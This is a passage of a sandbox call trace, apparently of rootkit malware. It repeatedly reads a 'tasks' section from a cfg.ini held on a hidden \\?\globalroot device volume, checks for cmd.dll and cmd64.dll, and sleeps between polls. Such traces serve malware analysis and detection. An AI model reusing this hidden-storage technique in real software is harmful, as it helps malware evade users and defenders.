(StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.585] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.585] IdePortDispatch () returned 0x103 [0121.585] KeWaitForMutexObject () returned 0x0 [0121.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.585] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.585] IdePortDispatch () returned 0x103 [0121.585] KeWaitForMutexObject () returned 0x0 [0121.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.585] KeLeaveCriticalRegion () [0121.585] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.586] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.586] KeEnterCriticalRegion () [0121.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.586] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.586] KeLeaveCriticalRegion () [0121.586] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.586] KeEnterCriticalRegion () [0121.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.586] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.586] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6190, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.586] KeLeaveCriticalRegion () [0121.586] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.586] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.586] KeEnterCriticalRegion () [0121.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.586] ExFreePoolWithTag (P=0xfffffa8003bc59b0, Tag=0x0) [0121.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.586] KeLeaveCriticalRegion () [0121.586] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.586] ReleaseMutex (hMutex=0xf0) returned 1 [0121.586] Sleep (dwMilliseconds=0x927c0) [0121.601] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.601] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.601] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.601] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.601] KeEnterCriticalRegion () [0121.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.602] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.602] IdePortDispatch () returned 0x103 [0121.602] KeWaitForMutexObject () returned 0x0 [0121.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.602] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.602] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.602] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.602] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.602] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5b20 [0121.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.602] KeLeaveCriticalRegion () [0121.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.602] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.602] KeEnterCriticalRegion () [0121.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.602] KeLeaveCriticalRegion () [0121.602] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.602] KeEnterCriticalRegion () [0121.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.602] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.602] IdePortDispatch () returned 0x103 [0121.603] KeWaitForMutexObject () returned 0x0 [0121.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.603] KeLeaveCriticalRegion () [0121.603] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.603] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.603] KeEnterCriticalRegion () [0121.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5d000 [0121.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.603] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.603] IdePortDispatch () returned 0x103 [0121.603] KeWaitForMutexObject () returned 0x0 [0121.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.603] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.604] IdePortDispatch () returned 0x103 [0121.604] KeWaitForMutexObject () returned 0x0 [0121.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.604] KeLeaveCriticalRegion () [0121.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.604] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.604] KeEnterCriticalRegion () [0121.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.604] KeLeaveCriticalRegion () [0121.604] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.604] KeEnterCriticalRegion () [0121.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.604] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.604] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.604] KeLeaveCriticalRegion () [0121.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.605] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.605] KeEnterCriticalRegion () [0121.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.605] ExFreePoolWithTag (P=0xfffffa8003bc5b20, Tag=0x0) [0121.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.605] KeLeaveCriticalRegion () [0121.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.605] ReleaseMutex (hMutex=0xf0) returned 1 [0121.605] Sleep (dwMilliseconds=0x927c0) [0121.618] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.618] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.618] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.618] KeEnterCriticalRegion () [0121.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.618] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.619] IdePortDispatch () returned 0x103 [0121.619] KeWaitForMutexObject () returned 0x0 [0121.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.619] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.619] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.619] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.619] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.619] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.619] KeLeaveCriticalRegion () [0121.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.619] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.619] KeEnterCriticalRegion () [0121.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.619] KeLeaveCriticalRegion () [0121.619] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.619] KeEnterCriticalRegion () [0121.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.619] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.619] IdePortDispatch () returned 0x103 [0121.619] KeWaitForMutexObject () returned 0x0 [0121.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.619] KeLeaveCriticalRegion () [0121.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.620] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.620] KeEnterCriticalRegion () [0121.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b62000 [0121.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.620] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.620] IdePortDispatch () returned 0x103 [0121.620] KeWaitForMutexObject () returned 0x0 [0121.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.620] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.620] IdePortDispatch () returned 0x103 [0121.620] KeWaitForMutexObject () returned 0x0 [0121.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.620] KeLeaveCriticalRegion () [0121.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.621] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.621] KeEnterCriticalRegion () [0121.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] KeLeaveCriticalRegion () [0121.621] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.621] KeEnterCriticalRegion () [0121.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.621] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] KeLeaveCriticalRegion () [0121.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.621] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.621] KeEnterCriticalRegion () [0121.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.621] KeLeaveCriticalRegion () [0121.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.621] ReleaseMutex (hMutex=0xf0) returned 1 [0121.621] Sleep (dwMilliseconds=0x927c0) [0121.635] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.635] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.635] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.635] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.635] KeEnterCriticalRegion () [0121.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.635] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.635] IdePortDispatch () returned 0x103 [0121.636] KeWaitForMutexObject () returned 0x0 [0121.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.636] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.636] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.637] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd61d0 [0121.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.637] KeLeaveCriticalRegion () [0121.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.637] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.637] KeEnterCriticalRegion () [0121.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.637] KeLeaveCriticalRegion () [0121.637] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.637] KeEnterCriticalRegion () [0121.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.637] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.637] IdePortDispatch () returned 0x103 [0121.637] KeWaitForMutexObject () returned 0x0 [0121.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.637] KeLeaveCriticalRegion () [0121.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.637] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.637] KeEnterCriticalRegion () [0121.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b67000 [0121.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.637] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.637] IdePortDispatch () returned 0x103 [0121.638] KeWaitForMutexObject () returned 0x0 [0121.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.638] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.638] IdePortDispatch () returned 0x103 [0121.638] KeWaitForMutexObject () returned 0x0 [0121.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.638] KeLeaveCriticalRegion () [0121.638] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.638] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.639] KeEnterCriticalRegion () [0121.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.639] KeLeaveCriticalRegion () [0121.639] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, 